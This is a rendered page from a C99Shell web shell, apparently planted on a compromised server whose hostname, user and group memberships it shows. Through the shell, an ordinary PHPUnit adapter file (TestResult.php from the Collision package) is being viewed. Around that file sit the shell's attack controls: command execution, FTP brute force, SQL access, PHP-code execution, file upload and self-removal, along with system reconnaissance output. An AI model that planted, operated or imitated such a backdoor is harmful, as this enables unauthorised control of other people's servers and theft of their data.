!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/nunomaduro/collision/src/Adapters/Phpunit/   drwxrwxr-x
Free 28.82 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestResult.php (7.27 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
NunoMaduro\Collision\Adapters\Phpunit;

use 
NunoMaduro\Collision\Contracts\Adapters\Phpunit\HasPrintableTestCaseName;
use 
NunoMaduro\Collision\Exceptions\ShouldNotHappen;
use 
PHPUnit\Event\Code\Test;
use 
PHPUnit\Event\Code\TestMethod;
use 
PHPUnit\Event\Code\Throwable;
use 
PHPUnit\Event\Test\BeforeFirstTestMethodErrored;

/**
 * @internal
 */
final class TestResult
{
    public const 
FAIL 'failed';

    public const 
SKIPPED 'skipped';

    public const 
INCOMPLETE 'incomplete';

    public const 
TODO 'todo';

    public const 
RISKY 'risky';

    public const 
DEPRECATED 'deprecated';

    public const 
NOTICE 'notice';

    public const 
WARN 'warnings';

    public const 
RUNS 'pending';

    public const 
PASS 'passed';

    public 
string $id;

    public 
string $testCaseName;

    public 
string $description;

    public 
string $type;

    public 
string $compactIcon;

    public 
string $icon;

    public 
string $compactColor;

    public 
string $color;

    public 
float $duration;

    public ?
Throwable $throwable;

    public 
string $warning '';

    
/**
     * Creates a new TestResult instance.
     */
    
private function __construct(string $idstring $testCaseNamestring $descriptionstring $typestring $iconstring $compactIconstring $colorstring $compactColorThrowable $throwable null)
    {
        
$this->id $id;
        
$this->testCaseName $testCaseName;
        
$this->description $description;
        
$this->type $type;
        
$this->icon $icon;
        
$this->compactIcon $compactIcon;
        
$this->color $color;
        
$this->compactColor $compactColor;
        
$this->throwable $throwable;

        
$this->duration 0.0;

        
$asWarning $this->type === TestResult::WARN
             
|| $this->type === TestResult::RISKY
             
|| $this->type === TestResult::SKIPPED
             
|| $this->type === TestResult::DEPRECATED
             
|| $this->type === TestResult::NOTICE
             
|| $this->type === TestResult::INCOMPLETE;

        if (
$throwable instanceof Throwable && $asWarning) {
            
$this->warning trim((string) preg_replace("/\r|\n/"' '$throwable->message()));
        }
    }

    
/**
     * Sets the telemetry information.
     */
    
public function setDuration(float $duration): void
    
{
        
$this->duration $duration;
    }

    
/**
     * Creates a new test from the given test case.
     */
    
public static function fromTestCase(Test $teststring $typeThrowable $throwable null): self
    
{
        if (! 
$test instanceof TestMethod) {
            throw new 
ShouldNotHappen();
        }

        if (
is_subclass_of($test->className(), HasPrintableTestCaseName::class)) {
            
$testCaseName $test->className()::getPrintableTestCaseName();
        } else {
            
$testCaseName $test->className();
        }

        
$description self::makeDescription($test);

        
$icon self::makeIcon($type);

        
$compactIcon self::makeCompactIcon($type);

        
$color self::makeColor($type);

        
$compactColor self::makeCompactColor($type);

        return new 
self($test->id(), $testCaseName$description$type$icon$compactIcon$color$compactColor$throwable);
    }

    
/**
     * Creates a new test from the given test case.
     */
    
public static function fromBeforeFirstTestMethodErrored(BeforeFirstTestMethodErrored $event): self
    
{
        if (
is_subclass_of($event->testClassName(), HasPrintableTestCaseName::class)) {
            
$testCaseName $event->testClassName()::getPrintableTestCaseName();
        } else {
            
$testCaseName $event->testClassName();
        }

        
$description '';

        
$icon self::makeIcon(self::FAIL);

        
$compactIcon self::makeCompactIcon(self::FAIL);

        
$color self::makeColor(self::FAIL);

        
$compactColor self::makeCompactColor(self::FAIL);

        return new 
self($testCaseName$testCaseName$descriptionself::FAIL$icon$compactIcon$color$compactColor$event->throwable());
    }

    
/**
     * Get the test case description.
     */
    
public static function makeDescription(TestMethod $test): string
    
{
        if (
is_subclass_of($test->className(), HasPrintableTestCaseName::class)) {
            return 
$test->className()::getLatestPrintableTestCaseMethodName();
        }

        
$name $test->name();

        
// First, lets replace underscore by spaces.
        
$name str_replace('_'' '$name);

        
// Then, replace upper cases by spaces.
        
$name = (string) preg_replace('/([A-Z])/'' $1'$name);

        
// Finally, if it starts with `test`, we remove it.
        
$name = (string) preg_replace('/^test/'''$name);

        
// Removes spaces
        
$name trim($name);

        
// Lower case everything
        
$name mb_strtolower($name);

        return 
$name;
    }

    
/**
     * Get the test case icon.
     */
    
public static function makeIcon(string $type): string
    
{
        switch (
$type) {
            case 
self::FAIL:
                return 
'⨯';
            case 
self::SKIPPED:
                return 
'-';
            case 
self::DEPRECATED:
            case 
self::WARN:
            case 
self::RISKY:
            case 
self::NOTICE:
                return 
'!';
            case 
self::INCOMPLETE:
                return 
'…';
            case 
self::TODO:
                return 
'↓';
            case 
self::RUNS:
                return 
'•';
            default:
                return 
'✓';
        }
    }

    
/**
     * Get the test case compact icon.
     */
    
public static function makeCompactIcon(string $type): string
    
{
        switch (
$type) {
            case 
self::FAIL:
                return 
'⨯';
            case 
self::SKIPPED:
                return 
's';
            case 
self::DEPRECATED:
            case 
self::NOTICE:
            case 
self::WARN:
            case 
self::RISKY:
                return 
'!';
            case 
self::INCOMPLETE:
                return 
'i';
            case 
self::TODO:
                return 
't';
            case 
self::RUNS:
                return 
'•';
            default:
                return 
'.';
        }
    }

    
/**
     * Get the test case compact color.
     */
    
public static function makeCompactColor(string $type): string
    
{
        switch (
$type) {
            case 
self::FAIL:
                return 
'red';
            case 
self::DEPRECATED:
            case 
self::NOTICE:
            case 
self::SKIPPED:
            case 
self::INCOMPLETE:
            case 
self::RISKY:
            case 
self::WARN:
            case 
self::RUNS:
                return 
'yellow';
            case 
self::TODO:
                return 
'cyan';
            default:
                return 
'gray';
        }
    }

    
/**
     * Get the test case color.
     */
    
public static function makeColor(string $type): string
    
{
        switch (
$type) {
            case 
self::TODO:
                return 
'cyan';
            case 
self::FAIL:
                return 
'red';
            case 
self::DEPRECATED:
            case 
self::NOTICE:
            case 
self::SKIPPED:
            case 
self::INCOMPLETE:
            case 
self::RISKY:
            case 
self::WARN:
            case 
self::RUNS:
                return 
'yellow';
            default:
                return 
'green';
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--